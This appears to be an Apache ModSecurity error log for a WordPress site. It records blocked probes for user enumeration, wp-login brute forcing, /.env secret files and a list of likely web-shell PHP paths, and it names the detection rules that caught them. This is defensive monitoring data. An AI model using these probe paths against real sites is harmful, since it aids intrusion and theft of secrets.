[Thu May 07 03:34:08.480218 2026] [:error] [pid 482:tid 501] [client 189.178.11.73:30131] [client 189.178.11.73] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afuXsMxs8HOc_nWgOW654QAAAdE"]
[Thu May 07 03:34:35.580170 2026] [:error] [pid 9664:tid 9777] [client 189.178.11.73:30477] [client 189.178.11.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.178.11.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afuXywH4OZbrg1SjsBOdLAAAAI8"]
[Thu May 07 03:39:56.689942 2026] [:error] [pid 592:tid 607] [client 137.184.229.126:51705] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuZDJiX28mb6xLi2PzV8wAAAos"]
[Thu May 07 03:56:33.231393 2026] [:error] [pid 64639:tid 64642] [client 137.184.229.126:55019] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuc8bLod1vZVQi2hBxFxAAAAME"]
[Thu May 07 04:13:13.460967 2026] [:error] [pid 29710:tid 29732] [client 137.184.229.126:54507] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afug2f0atTQld9Y2ht-v0AAAANQ"]
[Thu May 07 04:29:47.635641 2026] [:error] [pid 29606:tid 29657] [client 137.184.229.126:49543] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afukuxR5HjZ1PlSAiKtOyAAAAFA"]
[Thu May 07 04:46:21.334835 2026] [:error] [pid 29605:tid 29614] [client 137.184.229.126:50657] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuonYnxrTjETioEY0TT_QAAAAA"]
[Thu May 07 05:03:03.342820 2026] [:error] [pid 29605:tid 29625] [client 137.184.229.126:53130] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afush4nxrTjETioEY0TXZgAAAAs"]
[Thu May 07 05:19:47.183052 2026] [:error] [pid 29607:tid 29685] [client 137.184.229.126:58414] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afuwc6bP7TJOAh7WSUNgyAAAAJE"]
[Thu May 07 05:32:44.304285 2026] [:error] [pid 29607:tid 29679] [client 91.92.120.81:54869] [client 91.92.120.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "afuzfKbP7TJOAh7WSUNl6QAAAIs"]
[Thu May 07 05:32:49.878449 2026] [:error] [pid 29710:tid 29716] [client 91.92.120.81:55097] [client 91.92.120.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "afuzgf0atTQld9Y2ht_bHAAAAMQ"]
[Thu May 07 05:32:52.420260 2026] [:error] [pid 4539:tid 4552] [client 91.92.120.81:55591] [client 91.92.120.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/rcacivilgroup.com/.env"] [unique_id "afuzhIPEZE1565sDGnwg5wAAAQs"]
[Thu May 07 05:32:56.886753 2026] [:error] [pid 4539:tid 4553] [client 91.92.120.81:55730] [client 91.92.120.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/rcacivilgroup.com/.env"] [unique_id "afuziIPEZE1565sDGnwg8gAAAQw"]
[Thu May 07 05:36:17.170286 2026] [:error] [pid 29710:tid 29726] [client 137.184.229.126:52449] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afu0Uf0atTQld9Y2ht_c8AAAAM4"]
[Thu May 07 05:52:44.133373 2026] [:error] [pid 29710:tid 29721] [client 137.184.229.126:53028] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afu4LP0atTQld9Y2ht_kKwAAAMk"]
[Thu May 07 06:09:27.090045 2026] [:error] [pid 29710:tid 29734] [client 137.184.229.126:62028] [client 137.184.229.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.229.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afu8F_0atTQld9Y2ht_pqAAAANY"]
[Thu May 07 06:20:54.316185 2026] [:error] [pid 4539:tid 4551] [client 172.202.74.222:30173] [client 172.202.74.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "afu-xoPEZE1565sDGnw61gAAAQo"]
[Thu May 07 06:20:54.749622 2026] [autoindex:error] [pid 4539:tid 4557] [client 172.202.74.222:30156] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-comments-form/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:20:54.939624 2026] [autoindex:error] [pid 4539:tid 4554] [client 172.202.74.222:30156] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:20:55.135798 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:30156] [client 172.202.74.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/120f9.php"] [unique_id "afu-x4PEZE1565sDGnw64gAAARg"]
[Thu May 07 06:20:55.552452 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:30094] [client 172.202.74.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/admin.php"] [unique_id "afu-x_0atTQld9Y2ht_tYQAAAME"]
[Thu May 07 06:20:56.008412 2026] [:error] [pid 4539:tid 4557] [client 172.202.74.222:30093] [client 172.202.74.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "afu-yIPEZE1565sDGnw66gAAARA"]
[Thu May 07 06:21:02.454532 2026] [:error] [pid 4539:tid 4563] [client 172.202.74.222:30153] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "afu-zoPEZE1565sDGnw7GAAAARY"]
[Thu May 07 06:21:02.885954 2026] [:error] [pid 4539:tid 4550] [client 172.202.74.222:30166] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "afu-zoPEZE1565sDGnw7HQAAAQk"]
[Thu May 07 06:21:03.271063 2026] [:error] [pid 4539:tid 4543] [client 172.202.74.222:30186] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "afu-z4PEZE1565sDGnw7IwAAAQI"]
[Thu May 07 06:21:03.654115 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:30205] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/half.php"] [unique_id "afu-z_0atTQld9Y2ht_tcwAAAMA"]
[Thu May 07 06:21:04.066606 2026] [:error] [pid 29607:tid 29679] [client 172.202.74.222:30192] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "afu-0KbP7TJOAh7WSUN0fgAAAIs"]
[Thu May 07 06:21:04.477862 2026] [:error] [pid 29607:tid 29684] [client 172.202.74.222:30175] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "afu-0KbP7TJOAh7WSUN0gAAAAJA"]
[Thu May 07 06:21:04.880787 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:30091] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "afu-0IPEZE1565sDGnw7MAAAAQA"]
[Thu May 07 06:21:05.280960 2026] [:error] [pid 4539:tid 4556] [client 172.202.74.222:30147] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2P.php"] [unique_id "afu-0YPEZE1565sDGnw7NAAAAQ8"]
[Thu May 07 06:21:05.657461 2026] [:error] [pid 29607:tid 29688] [client 172.202.74.222:30090] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afu-0abP7TJOAh7WSUN0gQAAAJQ"]
[Thu May 07 06:21:06.064454 2026] [:error] [pid 29605:tid 29638] [client 172.202.74.222:30180] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afu-0onxrTjETioEY0Tp6wAAABg"]
[Thu May 07 06:21:06.471021 2026] [:error] [pid 29605:tid 29637] [client 172.202.74.222:30144] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afu-0onxrTjETioEY0Tp7QAAABc"]
[Thu May 07 06:21:06.986039 2026] [:error] [pid 29607:tid 29674] [client 172.202.74.222:30158] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afu-0qbP7TJOAh7WSUN0hgAAAIY"]
[Thu May 07 06:21:07.415983 2026] [:error] [pid 29607:tid 29672] [client 172.202.74.222:30087] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xstelth.php"] [unique_id "afu-06bP7TJOAh7WSUN0hwAAAIQ"]
[Thu May 07 06:21:07.843635 2026] [:error] [pid 4539:tid 4559] [client 172.202.74.222:30096] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xstelth.php"] [unique_id "afu-04PEZE1565sDGnw7SgAAARI"]
[Thu May 07 06:21:08.323056 2026] [:error] [pid 4539:tid 4554] [client 172.202.74.222:30117] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xstelth.php"] [unique_id "afu-1IPEZE1565sDGnw7UQAAAQ0"]
[Thu May 07 06:21:08.733584 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:30201] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xstelth.php"] [unique_id "afu-1IPEZE1565sDGnw7VQAAAQw"]
[Thu May 07 06:21:09.167503 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:30154] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chslgui.php"] [unique_id "afu-1YPEZE1565sDGnw7XAAAAQg"]
[Thu May 07 06:21:09.589769 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:30107] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chslgui.php"] [unique_id "afu-1f0atTQld9Y2ht_tfAAAAME"]
[Thu May 07 06:21:09.996924 2026] [:error] [pid 29606:tid 29661] [client 172.202.74.222:30159] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chslgui.php"] [unique_id "afu-1RR5HjZ1PlSAiKttBQAAAFQ"]
[Thu May 07 06:21:10.398775 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:30086] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chslgui.php"] [unique_id "afu-1v0atTQld9Y2ht_tfQAAANE"]
[Thu May 07 06:21:10.784444 2026] [:error] [pid 29606:tid 29657] [client 172.202.74.222:30206] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/499.php"] [unique_id "afu-1hR5HjZ1PlSAiKttBgAAAFA"]
[Thu May 07 06:21:11.198459 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:30183] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/499.php"] [unique_id "afu-1_0atTQld9Y2ht_tfwAAAM0"]
[Thu May 07 06:21:11.641189 2026] [:error] [pid 29710:tid 29721] [client 172.202.74.222:30032] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/499.php"] [unique_id "afu-1_0atTQld9Y2ht_tgQAAAMk"]
[Thu May 07 06:21:12.051322 2026] [:error] [pid 29710:tid 29732] [client 172.202.74.222:30149] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/499.php"] [unique_id "afu-2P0atTQld9Y2ht_tgwAAANQ"]
[Thu May 07 06:21:12.535949 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:30189] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "afu-2IPEZE1565sDGnw7fQAAAQw"]
[Thu May 07 06:21:13.012574 2026] [:error] [pid 29607:tid 29688] [client 172.202.74.222:30171] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "afu-2abP7TJOAh7WSUN0kgAAAJQ"]
[Thu May 07 06:21:13.425863 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:30198] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "afu-2YPEZE1565sDGnw7igAAAQg"]
[Thu May 07 06:21:13.828087 2026] [:error] [pid 4539:tid 4548] [client 172.202.74.222:30017] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "afu-2YPEZE1565sDGnw7jgAAAQc"]
[Thu May 07 06:21:14.280443 2026] [:error] [pid 29607:tid 29687] [client 172.202.74.222:30150] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gay.php"] [unique_id "afu-2qbP7TJOAh7WSUN0lAAAAJM"]
[Thu May 07 06:21:14.769174 2026] [:error] [pid 29710:tid 29735] [client 172.202.74.222:30165] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "afu-2v0atTQld9Y2ht_tiQAAANc"]
[Thu May 07 06:21:15.188997 2026] [:error] [pid 29605:tid 29614] [client 172.202.74.222:30200] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "afu-24nxrTjETioEY0Tp-AAAAAA"]
[Thu May 07 06:21:15.629748 2026] [:error] [pid 29607:tid 29681] [client 172.202.74.222:30098] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "afu-26bP7TJOAh7WSUN0lwAAAI0"]
[Thu May 07 06:21:16.059322 2026] [:error] [pid 29606:tid 29658] [client 172.202.74.222:30155] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "afu-3BR5HjZ1PlSAiKttCQAAAFE"]
[Thu May 07 06:21:16.492097 2026] [:error] [pid 29606:tid 29665] [client 172.202.74.222:30023] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/white.php"] [unique_id "afu-3BR5HjZ1PlSAiKttCwAAAFg"]
[Thu May 07 06:21:16.872018 2026] [:error] [pid 29710:tid 29728] [client 172.202.74.222:30145] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/white.php"] [unique_id "afu-3P0atTQld9Y2ht_tkAAAANA"]
